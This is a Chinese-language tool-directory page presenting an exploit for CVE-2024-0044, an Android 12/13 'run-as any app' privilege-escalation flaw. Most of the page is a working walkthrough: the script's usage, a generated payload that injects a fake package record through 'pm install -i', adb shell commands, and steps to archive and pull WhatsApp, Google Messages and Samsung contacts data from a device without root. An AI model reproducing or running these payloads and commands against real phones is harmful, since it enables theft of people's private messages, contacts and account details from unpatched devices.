Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve_2024_0044 — CVE-2024-0044:影响Android 12和13版本的“以任意应用运行”高危漏洞 | Kitploit
工具/GitHubGitHub/hunter24x24/cve_2024_0044
Android安全权限提升漏洞分析漏洞利用数据泄露后渗透利用渗透测试移动安全
GitHubhunter24x24/cve_2024_0044

cve_2024_0044

CVE-2024-0044:影响Android 12和13版本的“以任意应用运行”高危漏洞

查看仓库
1222年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE 2024 0044

CVE-2024-0044,在 PackageInstallerService.java 文件的 createSessionInternal 函数中发现,是一个影响 Android 12 和 13 的高危漏洞。该漏洞允许攻击者进行"以任意应用身份运行"攻击,导致本地权限提升,且无需用户交互。此问题的产生是由于 createSessionInternal 函数中不正确的输入验证所致。攻击者可通过操纵会话创建过程来利用此漏洞,从而可能未经授权访问敏感数据并在受影响的设备上执行未授权操作。

该漏洞由 Meta security 发现

该漏洞的概念验证摘要已由 Tiny hack 分享

关于安全补丁的详细信息可在 Android 安全公告 中找到

先决条件

  1. 在手机上启用 USB 调试,并通过 USB 数据线或无线调试将其连接到您的计算机
  2. 下载任意 APK 到您的计算机,您可以使用 F-DROID

如何使用该工具

root@kitploit:~
python3 cve_2024_0044.py -h
                                                                               
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
        
usage: cve_2024_0044.py [-h] -P P -A A

CVE-2024-0044: run-as any app @Pl4int3xt

options:
  -h, --help  show this help message and exit
  -P P        package name (default: None)
  -A A        apk file path (default: None)

-P 用于指定您要运行的目标包名

-A 用于指定要推送到设备上的 APK 文件路径

漏洞利用

运行该工具 python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk

将生成一个类似这样的 payload.txt 文件

root@kitploit:~
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk

该工具自动完成部分操作,其余部分需手动完成。您可以在生成 payload 后退出,手动运行所有命令,也可以继续按照说明操作

接下来,您需要使用 adb shell 连接到设备,粘贴 payload,并确保最后一个命令后收到 Success 消息

root@kitploit:~
pl4int3xt ~>  adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success

接下来,我们使用以下命令获取 WhatsApp 数据

root@kitploit:~
pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp

创建临时目录:mkdir /data/local/tmp/wa/

创建 tar 文件占位:touch /data/local/tmp/wa/wa.tar

设置宽松权限:chmod -R 0777 /data/local/tmp/wa/ 以确保任何用户都能在此目录中读取、写入和执行。

切换用户上下文:run-as victim 以获取与"victim"用户相同的权限。

归档目标应用数据:tar -cf /data/local/tmp/wa/wa.tar com.whatsapp,创建 WhatsApp 数据目录的 tarball。

最后拉取数据

adb pull /data/local/tmp/wa/wa.tar

您可以使用 7z 或其他任何工具解压数据

您可以使用 Whatsapp chat exporter 将其转换为 HTML

这样,您无需设备 root 权限即可获取 WhatsApp 数据

拉取 Google 消息

只需按如下方式更改包名

root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk

按照上述说明操作,在拉取 wa.tar 文件后,解压它并在 com.google.android.apps.messaging/databases/bugle_db 中打开对话(使用 sqlitebrowser 或其他工具)

拉取联系人

已在三星设备上测试。对于其他设备,请检查联系人提供者的包名。

root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk

按照上述说明操作,在拉取 wa.tar 文件后,解压它并在 com.samsung.android.providers.contacts/databases/contacts2.db 中打开联系人(使用 sqlitebrowser 或其他工具)。该 db 文件包含所有用户电子邮件帐户信息及联系人列表

下载工具